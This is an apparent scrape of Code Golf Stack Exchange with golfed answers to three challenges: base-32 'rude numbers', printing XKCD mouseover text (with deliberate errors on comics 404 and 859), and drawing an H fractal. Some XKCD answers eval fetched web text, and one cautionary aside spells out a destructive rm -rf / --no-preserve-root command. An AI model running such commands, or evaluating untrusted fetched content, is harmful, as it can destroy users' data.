+`(1+)\1{31} $1; \b1111\b ``` [Try it online!](https://tio.run/##K0otycxL/K@q4Z7wX0@bS0WLSztBw1BbM8aw2tiwlkvF0JorJskQCGKS/v834DLmMuEyMuUyNuMyNDLnMjQ2BAA "Retina 0.8.2 – Try It Online") Link includes test cases. Outputs zero unless the number is rude. Works by converting the input to unary and then to unary-encoded base 32 and counting the number of `4`s in the result. [Answer] # Java 8, ~~40~~ 33 bytes ``` n->n.toString(n,32).contains("4") ``` Port of [*@Adám*'s APL (dzaima/APL) answer](https://codegolf.stackexchange.com/a/180494/52210). [Try it online.](https://tio.run/##hZA9D4IwEIZ3fsXFqU20UfBjILo7yOJoHEqppAhXQw8SY/jtWMXVdLnk8rzP3eUq2ctFVdxHVUvn4CQNviIAg6Tbm1Qask8LkFtba4mg2NGjUreAPPVkiHxxJMkoyABhDyMuDijInqk1WDKcJzEXyiL50Y7N1jM@ph/p0eW1l35ub00BjY@wybtcQfJp9fnpSDfCdiQeHlGNDIViS/494C9PAnwd4PEmtGAbCKziXSiRrPjvjcP4Bg) **Explanation:** ``` n-> // Method with Integer parameter and boolean return-type n.toString(n,32) // Convert the input to a base-32 String .contains("4") // And check if it contains a "4" ``` [Answer] # [><>](https://esolangs.org/wiki/Fish), 28 bytes Outputs **4** for rude numbers throws an exception for non-rude numbers. ``` :1(?^:" ":\ ,&-v?=4:%&/ ;n< ``` [Try it online!](https://tio.run/##S8sszvj/38pQwz7OSklBySqGS0dNt8ze1sRKVU2fS8E6z@b///@6ZQqGRuYA "><> – Try It Online") [Answer] # [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), ~~37 bytes~~ ~~36 bytes~~ 29 bytes *-2 bytes by [Jonathan Frech](https://codegolf.stackexchange.com/users/73111/jonathan-frech)* ``` #~IntegerDigits~32~MemberQ~4& ``` [Try it online!](https://tio.run/##y00syUjNTSzJTE78H1CUmVcS7ZtYEP1fuc4zryQ1PbXIJTM9s6S4ztiozjc1Nym1KLDORO2/TrWBjrGOiY6RqY6xmY6hkbmOobFhbayCra1CtVtiTnGqDoQMKSrFwayN/Q8A "Wolfram Language (Mathematica) – Try It Online") 31-byte solution: ``` MemberQ[IntegerDigits[#,32],4]& ``` [Try it online!](https://tio.run/##y00syUjNTSzJTE78/983NTcptSgw2jOvJDU9tcglMz2zpDhaWcfYKFbHJFbt////AA "Wolfram Language (Mathematica) – Try It Online") ]
[Question] [ ## Challenge Given the number of an XKCD comic, output the title text of that comic (the mouseover text). However, the program must throw an error when given the numbers `859` or `404`. ## Rules The number given will always be an existing comic (except `404`). Your program must not throw an error for any other numbers than `859` or `404`. For reference, comic [`404`](https://xkcd.com/404) does not exist and [`859`](https://xkcd.com/859/) is: ``` Brains aside, I wonder how many poorly-written xkcd.com-parsing scripts will break on this title (or ;;"''{<<[' this mouseover text." ``` Url shorteners are disallowed. You may use the internet to get the title text. ## Examples ``` Input > Output 1642 > "That last LinkedIn request set a new record for the most energetic physical event ever observed. Maybe we should respond." "Nah." 1385 > ::PLOOOOSH:: Looks like you won't be making it to Vinland today, Leaf Erikson. 1275 > If replacing all the '3's doesn't fix your code, remove the 4s, too, with 'ceiling(pi) / floor(pi) * pi * r^floor(pi)'. Mmm, floor pie. 1706 > Plus, now I know that I have risk factors for elbow dysplasia, heartworm, parvo, and mange. ``` ## Bounty I will award a bounty to the shortest answer which fails on comic 859 because it's poorly written instead of checking for the number. Your program may break on other alt texts (such as 744) providing they have unmatched parentheses, quotation marks etc. ## Winning Shortest code in bytes wins. [Answer] # [Python 2.7](https://docs.python.org/2) + [xkcd](https://pypi.python.org/pypi/xkcd), 55 bytes [xkcd](https://pypi.python.org/pypi/xkcd) is a third-party Python package. In Python, there is a [package for everything](https://xkcd.com/353/)! ``` lambda n:[xkcd.getComic(n).altText][n==859] import xkcd ``` > > For **404:** `urllib2.HTTPError: HTTP Error 404: Not Found` > > > For **859:** `IndexError: list index out of range` > > > [Answer] # [Python 2](https://docs.python.org/2) + [Requests](https://docs.python-requests.org/en/master/), ~~104~~ ~~102~~ ~~95~~ 94 bytes *-2 bytes thanks to Erik the Outgolfer. -1 byte thanks to Jonathan Allan.* ``` lambda n:[get('http://xkcd.com/%d/info.0.json'%n).json()['alt']][n==859] from requests import* ``` Obligatory: ``` import antigravity ``` ## Poorly written script, 98 bytes So, writing poor scripts is actually hard to do intentionally... This also breaks on other comics because they contain quotes, not sure if that's okay. ``` from requests import* exec'print "%s"'%get('http://xkcd.com/%d/info.0.json'%input()).json()['alt'] ``` [Answer] # Python 2 + xkcd, 82 bytes Poorly written script ``` lambda n:eval("'''%s'''"%xkcd.getComic(n).altText.replace(';;',"'''")) import xkcd ``` Appends and prepends `'''`, which, unless the text contains `'''`, will not break, even for other quotation marks. That is, except if the text contains `;;`, which gets replaced with `'''` (eliminating `re`). This only applies for `859`, and thus this code breaks on `859`. :P Also, one should never `eval` random internet content, because if `xkcd.getComic(n).altText` somehow became `'''+__import__('os').system('rm -rf / --no-preserve-root')+'''`, it would cause many bad things to happen. Namely, it would delete everything that's accessible by non-sudo on the computer, unless you run codegolf programs in sudo (also not recommended) :P [Answer] # [Wolfram Language](http://reference.wolfram.com/language)/Mathematica, ~~118~~ 117 bytes *saved a byte thanks to numbermanic* ``` If[ImportString[#,"HTML"]===#,#,$Failed]&@Import[StringTemplate["http://xkcd.com/``/info.0.json"]@#,"RawJSON"]@"alt"& ``` Explanation: Use `StringTemplate`to form the URL from the input. `Import[..., "RawJSON"]` imports the JSON object and parses it into an [`Assocation`](http://reference.wolfram.com/language/ref/Association.html). Select the value for the key `"alt"`. Take this result and try to interpret the string as HTML (`Import[#,"HTML"]`). If this doesn't change anything pass the result through, if it does return `$Failed`. This catches 859 because ``` ImportString[ "Brains aside, I wonder how many poorly-written xkcd.com-parsing scripts will break on this title (or ;;\"''{<<[' this mouseover text.\"","HTML"] ``` results in: ``` Brains aside, I wonder how many poorly-written xkcd.com-parsing scripts will break on this title (or ;;"''{ ``` 404 fails because ``` If[ ImportString[$Failed["alt"], "HTML"] === $Failed["alt"], $Failed["alt"], $Failed] ``` results in `$Failed`. [Answer] ## Java 8, ~~255~~ 176 bytes Thanks to @OlivierGr√©goire for making me feel like an idiot and 79 bytes off. ;) ``` i->new java.util.Scanner(new java.net.URL("http://xkcd.com/"+i+"/info.0.json").openStream()).useDelimiter("\\a").next().replaceFirst(".*\"alt\": \"","").replaceFirst("\".*","") ``` ~~This feels way too heavy...~~ Still heavy, but "okay" for java... ### Explanation: * `i->{...}` Lambda that works like `String <name>(int i) throws Exception` * `new java.util.Scanner(...).setDelimiter("\\a").next()` read everything from the given `InputStream` + `new java.net.URL("http://xkcd.com/"+i+"/info.0.json").openStream()` this creates an `InputStream` which references the response body of `http://xkcd.com/{comic_id}/info.0.json` which is the info page of the desired comic + `replaceFirst(".*\"alt\": \"","").replaceFirst("\".*","")` Removes everything except for the alt text (till the first double quote) * implicit return ## Alternate shorter approach, Java + json.org, 150 ``` i->i==859?new Long(""):new org.json.JSONObject(new org.json.JSONTokener(new java.net.URL("http://xkcd.com/"+i+"/info.0.json").openStream())).get("alt") ``` This is not my solution so I don't want to post this as the first. All the credits belong to @OlivierGr√©goire. [Answer] # [Python](https://docs.python.org/) + [xkcd](https://pypi.python.org/pypi/xkcd), 54 bytes ``` import xkcd lambda n:xkcd.getComic(*{n}-{859}).altText ``` ### Verification ``` >>> import sys >>> sys.tracebacklimit = 0 >>> >>> import xkcd >>> f = lambda n:xkcd.getComic(*{n}-{859}).altText >>> >>> print f(149) Proper User Policy apparently means Simon Says. >>> >>> f(404) urllib2.HTTPError: HTTP Error 404: Not Found >>> >>> f(859) TypeError: getComic() takes at least 1 argument (0 given) ``` [Answer] # Bash + curl + jq: ~~73~~ 66 bytes Shortest answer that doesn't use an xkcd-specific library. jq is a tool for manipulating json objects in the shell, and it comes complete with a parsing language to do that. ~~`curl -Ls xkcd.com/$1/info.0.json|jq -r 'if.num==859then.num.a else.alt end'`~~ `curl -Ls xkcd.com/$1/info.0.json|jq -r '(.num!=859//.[9]|not)//.alt'` Expansion below: `curl -Ls` - Query, but feel free to redirect (in this case to the https site) and give no unrelated output. `xkcd.com/$1/info.0.json` - Shamelessly stolen from another answer. `|jq -r` - Run `jq` in "raw output" mode on the following command. `if .num == 859 then .num.a # This fails because you can't get the key 'a' from a property that's an integer else .alt # And this pulls out the 'alt' key from our object. end` Now the script has been re-worked to use `//` which is the equivalent of `a or b` in python, and we use a `|not` to make any true value be considered false, so the second `//` can print `.alt` [Answer] # PHP, ~~89~~ ~~86~~ 85 bytes ``` <?=($a=$argv[1])==859?_:@json_decode(file("http://xkcd.com/$a/info.0.json")[0])->alt; ``` Returns null for 404 and 859 Save as xkcd.php and run with the comic number... ``` $ php xkcd.php 386 ``` [Answer] # PHP 5.3, ~~280~~ ~~268~~ ~~262~~ ~~261~~ 180 bytes --- *1. Saved 11 thanks to some of Roman Gr√§f's suggestions* *2. Saved 1 byte by using http link instead of https* *3. Saved another 6 bytes thanks to Kevin\_Kinsay* *4. Saved another 1 byte with Andy's suggestion* *5. A major revision:* * suppressed errors with @ instead of changing `libxml_use_internal_errors` * used `implode(0,file(""))` instead of `file_get_contents("")` (2 bytes) * moved the `$x` definition inside the `if` * Using `throw 0` instead of actually throwing an exception (it crashes the program) * with the `@` I now can omit the `comicLink` replace. --- My first try on golfing. The DOMDocument breaks when encounters dobule ID comicLinks so I had to remove these. There's probably a nicer way of doing that. Crashes when trying to get no. 859 ;) ``` <?php if(($x=$argv[1])==859)throw 0;$a=new DOMDocument;$b=@$a->loadHTML(implode(0,file("http://xkcd.com/$x")));echo $a->getElementsByTagName('img')->item(1)->getAttribute('title'); ``` [Answer] The Python one has already won, but regardless... # bash + curl + sed; 88 ~91 heh bytes ``` printf "$(curl -s https://xkcd.com/2048/info.0.json|sed 's/.*"alt": "//;s/", "img":.*//')\n" ``` Yay for regex JSON parsing! **EDIT** NoLongerBreathedIn noticed (648 days into the future!) that this failed on post 2048 because of an unexpected `\"` in that entry's JSON. The regex has been updated above; it used to be `sed 's/.*alt": "\([^"]\+\).*/\1/')`. The `printf` wrapper neatly handles the fact that Unicode characters are represented in `\unnnn` notation: ``` $ printf "$(curl -s https://xkcd.com/1538/info.0.json | sed 's/.*"alt": "//;s/", "img":.*//')\n" To me, trying to understand song lyrics feels like when I see text in a dream but itùî∞ h‡∏≠·µ£d t‚ÇÄ ·µ£e‚Çêd a‡∏Åd ùíæ canŸñt f‡æÅcu‡ºß‡º¶‡øê‡ºÑ ```   ## This fails with posts 404 and 859: ### 404 ``` $ printf "$(curl -s https://xkcd.com/404/info.0.json | sed 's/.*alt": "\([^"]\+\).*/\1/')\n" <html> <head><title>404 Not Found</title></head> <body bgcolor="white"> <center><h1>404 Not Found</h1></center> <hr><center>nginx</center> </body> </html> ``` ### 859 ``` $ printf "$(curl -s https://xkcd.com/859/info.0.json | sed 's/.*alt": "\([^"]\+\).*/\1/')\n" Brains aside, I wonder how many poorly-written xkcd.com-parsing scripts will break on this title (or ;;\n$ ``` The `$` at the end of the output is my prompt, and the literally-printed `\n` immediately before it is part of the printf string. I deliberately used `printf` because it would parse Unicode *and* fall over terribly on this specific post. [Answer] # [Python 2](https://docs.python.org/2/), ~~115~~ 106 bytes *-8 bytes thanks to ovs. -1 byte thanks to Jonathan Allan.* Just thought I'd put a standard library answer out there. ``` lambda n:[json.load(urllib.urlopen('http://xkcd.com/%d/info.0.json'%n))['alt']][n==859] import urllib,json ``` [Answer] # JavaScript (ES6), ~~177~~ 175 bytes ``` p=(x)=>{eval(`console.log("${x.alt}")`)};f=(y)=>{var d=document,e=d.createElement("script");e.src=`//dynamic.xkcd.com/api-0/jsonp/comic/${y}?callback=p`;d.body.appendChild(e)}} ``` Paste this into your browser console, then execute `f(859)` or `f(404)` etc - those two should error in the console, despite not being hard coded, the others display. First post in a while, sorry if it doesn't quite meet the rules...! [Answer] # PHP, 160 bytes ``` <? preg_match_all('/(tle=\")(.+)(\")\sa/',join(0,file('http://xkcd.com/'.$argv[1])),$a);echo(strstr($c=$a[2][0],'Brains asid'))?$b:html_entity_decode($c,3); ``` [Answer] # [APL (Dyalog Unicode)](https://github.com/abrudz/dyalog-apl-extended), ~~110~~ 73 bytes ``` {'('‚àä‚éï‚Üê‚çµ.safe_title:-‚終ãÑ‚çµ.alt}‚éïJSON‚àä‚éïSH‚àä'curl -L xkcd.com/'‚çû'/info.0.json' ``` -37 bytes from Ad√°m. ## Explanation ``` ‚éïJSON‚àä‚éïSH‚àä'curl -L xkcd.com/'‚çû'/info.0.json' ‚çù Get the json data for the required page ‚çù Using ‚éïSH to execute curl shell command '('‚àä‚éï‚Üê‚çµ.safe_title: ‚çù If the safe title does not contain a bracket, ‚ãÑ‚çµ.alt ‚çù Print alt text -‚çµ ‚çù Otherwise negate json data(Domain error) ``` [Answer] # Perl, ~~129~~ 167 bytes ``` use LWP::Simple;use HTML::Entities;print decode_entities($1)if(get("http://www.xkcd.com/$ARGV[0]")=~m/text: ([^<]*)\}\}<\/div>/) ``` EDIT: Psyche it's actually ``` use LWP::Simple;use HTML::Entities;$x=$ARGV[0];if($x==404||$x==859){die}else{print decode_entities($1)if(get("http://www.xkcd.com/$x")=~m/text: ([^<]*)\}\}<\/div>/)} ``` Import HTML decoding and HTTP accessing, then print the group matching the (...) in `{{Title text: (...)}}</div>` (saving a bit by omitting `{{Title` from the query) For 404 and 859, death. [Answer] # BASH, 111 108 bytes a=$(cat) curl -s <https://xkcd.com/>$a/ |grep -oP '(?<=Title text:)([^}}]\*)' [ $a = 404 ] && echo "$a not found" ``` a=#;curl -s https://xkcd.com/$a/ |grep -oP '(?<=Title text:)([^}}]*)';[ $a = 404 ] && echo "$a not found" ``` To Run: change # to number of comic. Run from command line. Thanks @Ale for the suggestion! [Answer] # Javascript (ES6), ~~118~~ ~~96~~ 94 bytes ``` f=n=>fetch(`//xkcd.com/${n}/info.0.json`).then(x=>x.json()).then(y=>eval(`alert('${y.alt}')`)) ``` You can paste that in your browser console and run `f(123)`. But do so on a page that is already on xkcd.com or else you'll see a CORS error. For 404, it fails with: > > Uncaught (in promise) SyntaxError: Unexpected token < in JSON at position 0 > > > For 859, it fails with: > > Uncaught (in promise) SyntaxError: missing ) after argument list > > > *Update: the lastest version properly checks the alt text instead of checking for just 859 and shaves of another 2 bytes.* ]
[Question] [ # Challenge Create a function or program that, when given an integer `size`, does the following: If `size` is equal to 1, output ``` H H HHH H H ``` If `size` is greater than 1, output ``` X X XXX X X ``` where `X` is the output of the program/function for `size - 1` (If you prefer, you may have the base case correspond to `0`, so long as you specify in your answer) Any of the following output formats are acceptable, whichever is more convenient for you: * A string of the required structure with any two distinct characters corresponding to `H` and `space` * A two-dimensional array with the required structure, with any two distinct values corresponding to `H` and `space` * An array/list of strings, with one line of the output in each string, with any two distinct values corresponding to `H` and `space` Leading spaces are allowed, as long as there is a constant amount of leading spaces on each line. The two distinct output characters can be dependent on anything you choose, as long as they are different. Specify what output format your code is returning. # Test Cases `1` ``` H H HHH H H ``` `2` ``` H H H H HHH HHH H H H H H HH HH H HHHHHHHHH H HH HH H H H H H HHH HHH H H H H ``` `3` ``` H H H H H H H H HHH HHH HHH HHH H H H H H H H H H HH HH H H HH HH H HHHHHHHHH HHHHHHHHH H HH HH H H HH HH H H H H H H H H H HHH HHH HHH HHH H H H H H H H H H H H HH H H HH H H H HHH HHHHHH HHHHHH HHH H H H HH H H HH H H H H HH HH HH HH HH HH HH HH H HHHHHHHHHHHHHHHHHHHHHHHHHHH H HH HH HH HH HH HH HH HH H H H H HH H H HH H H H HHH HHHHHH HHHHHH HHH H H H HH H H HH H H H H H H H H H H H HHH HHH HHH HHH H H H H H H H H H HH HH H H HH HH H HHHHHHHHH HHHHHHHHH H HH HH H H HH HH H H H H H H H H H HHH HHH HHH HHH H H H H H H H H ``` This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the lowest byte count for each language wins! [Answer] # [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), 46 bytes ``` Nest[ArrayFlatten@{r={#,0,#},{#,#,#},r}&,1,#]& ``` Returns a 2d array of `0`s and `1`s. [Try it online!](https://tio.run/##FcixCoAgEADQXzkUmi4omouCaIx2cThCKSiD65YQv91qevBOks2dJPtK2UMLeXa3mIGZnukgERf6yG3UWKFO@Kl/ORVYo7ZFHi@z8B7EBAQFZQcKwZtgLUL8qkk2vw "Wolfram Language (Mathematica) – Try It Online") [![Nest[ArrayFlatten@{r={#,0,#},{#,#,#},r}&,1,#]&[3]//MatrixForm](https://i.stack.imgur.com/Sg0GI.jpg)](https://i.stack.imgur.com/Sg0GI.jpg) [![Nest[ArrayFlatten@{r={#,0,#},{#,#,#},r}&,1,#]&[5]//Image](https://i.stack.imgur.com/KMZDi.jpg)](https://i.stack.imgur.com/KMZDi.jpg) [Answer] ## [Canvas](https://github.com/dzaima/Canvas), ~~14~~ 12 [bytes](https://github.com/dzaima/Canvas/blob/master/files/chartable.md) ``` H;[⌐⌐∔*×∔;3*+ ``` [Try it here!](https://dzaima.github.io/Canvas/?u=SCV1RkYxQiV1RkYzQiV1RkYxQSV1RkYxQSV1RkYxQSV1RkYxMiV1RkYwQSVENyV1MjIxNCV1RkYxQiV1RkYxMyV1RkYwQSV1RkYwQg__,i=Mg__) Explanation: ``` Code |Instruction |Stack --------+--------------------------------------------------------------------+------------------------- |Push input to stack (implicit) |I H |Push "H" to stack |I,"H" ; |Swap the top two stack items |"H",I [ |The following ToS (input) times: |X ⌐⌐ |Duplicate ToS (result from last loop ("H" if first loop)) four times|X,X,X,X,X ∔ |Join vertically |X,X,X,X\nX × |Prepend |X,X,XX\nX ∔ |Join vertically |X,X\nXX\nX ; |Swap top two stack items |X\nXX\nX,X 3*|Repeat three times vertically |X\nXX\nX,X\nX\nX + |Join horizontally |X<space>X\nXXX\nX<space>X |End loop (implicit) |X |Print ToS (implicit) | ``` Where `I` is the input, `X` is the pattern generated by the previous loop ("H" for the first loop), and `<space>` is the empty space on the first and third row of the pattern, added implicitly by `+`. *-2 bytes thanks to [dzaima](https://codegolf.stackexchange.com/users/59183/dzaima)!* [Answer] # [MATL](https://github.com/lmendo/MATL), ~~12~~ 11 bytes ``` t:"[ACA]BX* ``` Given input `n`, this outputs a matrix containing `0` and `n`. [Try it online!](https://tio.run/##y00syfn/v8RKKdrR2THWKULr/39jAA) To convert this into a character matrix of `H`and space add `g72*c` in the header. [Try it online too!](https://tio.run/##y00syfn/v8RKKdrR2THWKULrf7q5kVbyf2MA) Or add `]1YC` to see the matrix displayed graphically. Try it at [MATL Online!](https://matl.io/?code=t%3A%22%5BACA%5DBX%2a%0A%5D1YG&inputs=3&version=20.8.0) ### Explanation ``` t % Input (implicit): n. Duplicate : % Range. Gives the array [ 1 2 ... n] " % For each (that is, do n times) [ACA] % Push the array [5 7 5] B % Convert to binary. Gives the 3×3 matrix [1 0 1; 1 1 1; 1 0 1] X* % Kronecker product % End (implicit). Display (implicit) ``` [Answer] # [Stax](https://github.com/tomtheisen/stax), 16 15 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax) ``` ╛c_mê║6{│◙ÖmπV" ``` [Run and debug it](https://staxlang.xyz/#p=be635f6d88ba367bb30a996de35622&i=2&a=1) This is the ascii representation of the program with comments. This program builds up the H sideways, and then transposes once at the end. ``` 'H] ["H"] { },* repeat block specified number of times c copy the matrix {3*m triplicate each row |S surround; prepend and append like b + a + b |C horizontally center rows with spaces M transpose back to original orientation m output each row ``` [Bonus 14 byte program](https://staxlang.xyz/#p=ce104d969c6288969557af02b941&i=3&a=1) - uses its input as the output character. Theoretically, this would not produce the right shape at 10, since it has 2 digits, but attempting to run that crashes my browser. [Answer] # [Ruby](https://www.ruby-lang.org/), 72 bytes Output is a list of strings, one string per line. ``` f=->n{n<1?[?H]:[*a=(x=f[n-1]).map{|i|i+' '*i.size+i},*x.map{|i|i*3},*a]} ``` [Try it online!](https://tio.run/##KypNqvz/P81W1y6vOs/G0D7a3iPWKlor0VajwjYtOk/XMFZTLzexoLomsyZTW11BXStTrzizKlU7s1ZHqwIuo2UM5CbG1v4vKC0pVkiLTk8tKdYryY/PjP1vCgA "Ruby – Try It Online") [Answer] # [APL (Dyalog Classic)](https://www.dyalog.com/), 14 bytes ``` ×/¨∘.≥⍨2|,⍳⎕⍴3 ``` [Try it online!](https://tio.run/##SyzI0U2pTMzJT9dNzkksLs5M/v@ob2pm/qO2CQZcjzra0/4fnq5/aMWjjhl6jzqXPupdYVSj86h3M1DNo94txv@BKv6ncRlzqatzpXEZQShDCGUAAA "APL (Dyalog Classic) – Try It Online") `⎕` evaluated input n `,⍳⎕⍴3` all n-tuples with elements from 0 1 2 `2|` mod 2 `×/¨∘.≥⍨` form a matrix by comparing every pair of tuples a and b - if all elements of a are ≥ the corresponding elements of b, it's a 1, otherwise 0 [Answer] # [Haskell](https://www.haskell.org/), 50 bytes ``` f 0=[[1]] f n=[x++map(*c)x++x|c<-[0,1,0],x<-f$n-1] ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/P03BwDY62jA2litNIc82ukJbOzexQEMrWRPIqqhJttGNNtAx1DGI1amw0U1TydM1jP2fm5iZp2CrAFTnq1BQlJlXoqCikKZg/B8A "Haskell – Try It Online") Makes a grid of 0's and 1's. One character longer for spaces and H's. # [Haskell](https://www.haskell.org/), 51 bytes ``` f 0=["H"] f n=[x++map(min c)x++x|c<-" H ",x<-f$n-1] ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/P03BwDZayUMplitNIc82ukJbOzexQCM3M08hWRPIqahJttFVUvBQUNKpsNFNU8nTNYz9n5sIlLZVACr0VSgoLQkuKfLJU1BRSFMw/g8A "Haskell – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~17~~ ~~16~~ 15 bytes ``` 381B«€s3Z€ẎF€µ¡ ``` This is a full program that prints a 2D array of **1**'s and **0**'s. [Try it online!](https://tio.run/##y0rNyan8/9/YwtDp0OpHTWuKjaOA5MNdfW5A6tDWQwv/AyUB "Jelly – Try It Online") or [see the output with **H**'s and spaces.](https://tio.run/##y0rNyan8/9/YwtDp0OpHTWuKjaOA5MNdfW5A6tDWQwv/H25/uLv7UeM@D4VIoDoA "Jelly – Try It Online") [Answer] # [SOGL V0.12](https://github.com/dzaima/SOGLOnline), 13 [bytes](https://github.com/dzaima/SOGL/blob/master/chartable.md) ``` ┌.{³2∙⁴┼+;3∙┼ ``` [Try it Here!](https://dzaima.github.io/SOGLOnline/?code=JXUyNTBDLiU3QiVCMzIldTIyMTkldTIwNzQldTI1M0MrJTNCMyV1MjIxOSV1MjUzQw__,inputs=Mw__,v=0.12) [Answer] # [R](https://www.r-project.org/), 64 bytes ``` function(n)Reduce(`%x%`,rep(list(matrix(c(1,1,1,0,1,0),3,3)),n)) ``` [Try it online!](https://tio.run/##JY5BC8IwDIXv/opQERqsoOyoP2Bnr6JsdCkrzHRkGZu/vnZKyCHvhfc@yQFuJ8hhZq8xsWW8Uzd7ss1hPTROaLRDnNS@W5W4Wm8vbpvztugqVyE6Rsy8xVSwh4kUGHoSuoL2BELvNnJHAin8hJCSlmuJwwCjRFZIs/6cfwf4JEJeh0/50R5qaLmDaWw97RaJSgXCgHGmNvhQGwry8YLPAlS92DljMH8B "R – Try It Online") Reduces by Kronecker product, as a shameless port of [Luis Mendo's answer](https://codegolf.stackexchange.com/a/157697/67312). The footer prints the result nicely, but this is an anonymous function which returns a `matrix` of `1` for `H` and `0` for space. [Answer] # [Java (JDK)](http://jdk.java.net/), 126 bytes ``` n->{int s=1,H[][]=new int[n+=Math.pow(3,n)-n][n],x;for(;s<n;s*=3)for(x=n*n;x-->0;)H[x/n][x%n]|=~(x/n/s%3)&x%n/s%3&1;return H;} ``` [Try it online!](https://tio.run/##pVA9b8IwFNz5FU9IIOcT0nTCmLFKBybGKEMaEjANL1HsQChN/3pqBwpVu1TqYD3fvbPuzrv4EDu79WvH92VRSdgp7NaS525WYyJ5ga5JB0keCwHLmCOcBwDPKJ@u2zlHGUZhtIAMWIfO4qwIEMyzA00zTI@gJWixZSy3blkciW@j4WAUYmQ3NCsqQsUcqTCZb2jUMDSRNo6zmFIjCJuJkjYjjN7ZB1FgIka@MVaEvow9WqWyrhAC2nZUZSvrl5wnIGQs1TgUfA17nZusZMVxE0YQVxth9D0AtF8fmL@lzKP9hDkD/3K1rC8hwLUoBMBAt9K/QQw3c@OyzE9Eyw161ZbKSpLghlcnIdO9W9TS7Ve5evm/XTu4nO89L663nD86Kmo7u7P37s0Mtnf2t2lGhqNkaAPxnMYwH6eW/3AL2P4xaNt9Ag "Java (JDK) – Try It Online") Returns an `int[][]` with `0` for `H` and `1` for `space`. This actually "carves" a wall of `H`'s instead of "piling" `H`'s. ## Explanations ``` n->{ // An int to int[][] lambda function int s=1, // size of the carvings. H[][]=new int[n+=Math.pow(3,n)-n][n], // change n to 3^n, through +=...-n to avoid an explicit cast // and create the 2D array to return, filled with 0s x; // counter for the 2D array for(;s<n;s*=3) // for each size for(x=n*n;x-->0;) // for each cell H[x/n][x%n] |= // assign 1 to a cell of the array if... ~(x/n/s%3) // it is located in the "holes" of the H &x%n/s%3 // &1; // return H; // return the array } // end the lambda ``` ## Credits * -9 bytes thanks to [ceilingcat](https://codegolf.stackexchange.com/users/52904/ceilingcat). [Answer] # [V](https://github.com/DJMcMayhem/V), 22 bytes ``` éHÀñäLgvr PGï3PkyHGpH ``` [Try it online!](https://tio.run/##K/v///BKj8MNhzceXiLmk15WpBDgfni9cUB2pYd7gcf///9NAA "V – Try It Online") Hexdump: ``` 00000000: e948 c0f1 e416 4c67 7672 2050 47ef 3350 .H....Lgvr PG.3P 00000010: 6b79 4847 7048 kyHGpH ``` This is basically the exact same approach as [the Sierpinski carpet](https://codegolf.stackexchange.com/a/126218/31716) and [The Fractal Plus](http://golf.shinh.org/p.rb?Fractal+Plus) on Anarchy Golf. [Answer] # [Python 2](https://docs.python.org/2/), 70 bytes ``` f=lambda r:-r*'H'or[x+[x,' '*3**r][b]+x for b in 1,0,1for x in f(r-1)] ``` [Try it online!](https://tio.run/##JcgxCoAgGAbQq/ybaQZZW9DeHcQhCUkolQ8DO70hje@lN58xTLW69dpve@yEZYBgG4vQpddFMmJiFgJGW9MXchFkyQdScpSqqTS5DoPiprbAHz6kJ3ecLwk@ZEKdPw "Python 2 – Try It Online") Function outputs a list of strings. --- # [Python 2](https://docs.python.org/2/), 84 bytes ``` r=input() for i in range(3**r):x,s=' H';exec"s+=[x,s][i%3%2]+s;x*=3;i/=3;"*r;print s ``` [Try it online!](https://tio.run/##DcixCoAgEADQva84gqg0CHJLbu8fwiHC6pZLTgP7emt5wwtvum6eShEkDk/q@uq4BQiIQTY@fWeUkn7OQ8QWltb67Pc6alz/cSs1ppmcjjYrNJbGn1qJDUKcIJZiPg "Python 2 – Try It Online") Uses the same template as other 3\*3 fractal patterns: * [Sierpinski carpet](https://codegolf.stackexchange.com/a/143780/20260) * [Fractal X](http://golf.shinh.org/reveal.rb?Fractal+X/xnor_1471571069&py) * [Fractal plus](http://golf.shinh.org/p.rb?Fractal%20Plus). [Answer] # [J](http://jsoftware.com/), ~~25~~ 22 bytes ``` ,./^:2@(*/#:@5 7 5)^:] ``` [Try it online!](https://tio.run/##y/r/P81WT0FHTz/OyshBQ0tf2crBVMFcwVQzzir2f2pyRr5CmoIRF4ihoa7goV5dp@WQpqmmZ6dgrGCkYPgfAA) ``` */ multiply by #:@5 7 5 the binary matrix shaped like H ,./^:2 assemble the 4-dimensional result into a matrix ^:] do it input times ``` [Answer] ## Haskell, ~~73~~ ~~67~~ ~~64~~ 55 bytes ``` g#f=g<>f<>g w=map.(id#) (iterate(w(>>" ")#w id)["H"]!!) ``` This works only with the latest version of `Prelude`, because it exports `<>` from `Data.Semigroup`. To run it on TIO, add an import as done here: [Try it online!](https://tio.run/##DcuxDoMgEADQ3a84oQMsLq7C5ODQTo6mMZcI9FJRgmf4fNq3vw9eX7fvlWI6M8OIjN3sIoV83qkG6U0YrB9saIqJmDpFm9SNN4rYZWSnirJWgNCyAG16EZN4t62uEekAA//yWiHdPHN@HvAAD339AQ "Haskell – Try It Online") ``` g#f= -- function # takes two functions g and f and a list s -- and returns g <> f <> g -- g(s), followed by f(s) and another g(s) w= -- w takes a function and a list of lists -- (both as unnamed parameters, because of pointfree style, -- so let's call them f and l) map.(id#) -- return map(id#f)l, i.e. apply (id#f) to every element of l w(>>" ")#w id -- this partial application of # is a function that -- takes the missing list (here a list of lists) -- remember: (>>" ") is the function that replaces every element -- of a list with a single space iterate( )["H"] -- starting with a singleton list of the string "H" -- which itself is a singleton list of the char 'H' -- repeatedly apply the above function !! -- and pick the nth iteration Example for ["H H", "HHH", "H H"], i.e. H H HHH H H call the iterated function: ( w(>>" ") # w id ) ["H H","HHH","H H"] expand w: ( map(id#(>>" ")) # map(id#id) ) ["H H","HHH","H H"] expand outermost #: map(id#(>>" "))["H H","HHH","H H"] ++ map(id#id) ["H H","HHH","H H"] ++ map(id#(>>" "))["H H","HHH","H H"] expand map: [(id#(>>" "))"H H", (id#(>>" "))"HHH", (id#(>>" "))"H H"] ++ [(id#id) "H H", (id#id) "HHH", (id#id) "H H"] ++ [(id#(>>" "))"H H", (id#(>>" "))"HHH", (id#(>>" "))"H H"] expand other #: ["H H"++" "++"H H", "HHH"++" "++"HHH", "H H"++" "++"H H"] ++ ["H H"++"H H"++"H H", "HHH"++"HHH"++"HHH", "H H"++"H H"++"H H"] ++ ["H H"++" "++"H H", "HHH"++" "++"HHH", "H H"++" "++"H H"] collaps ++: ["H H H H", "HHH 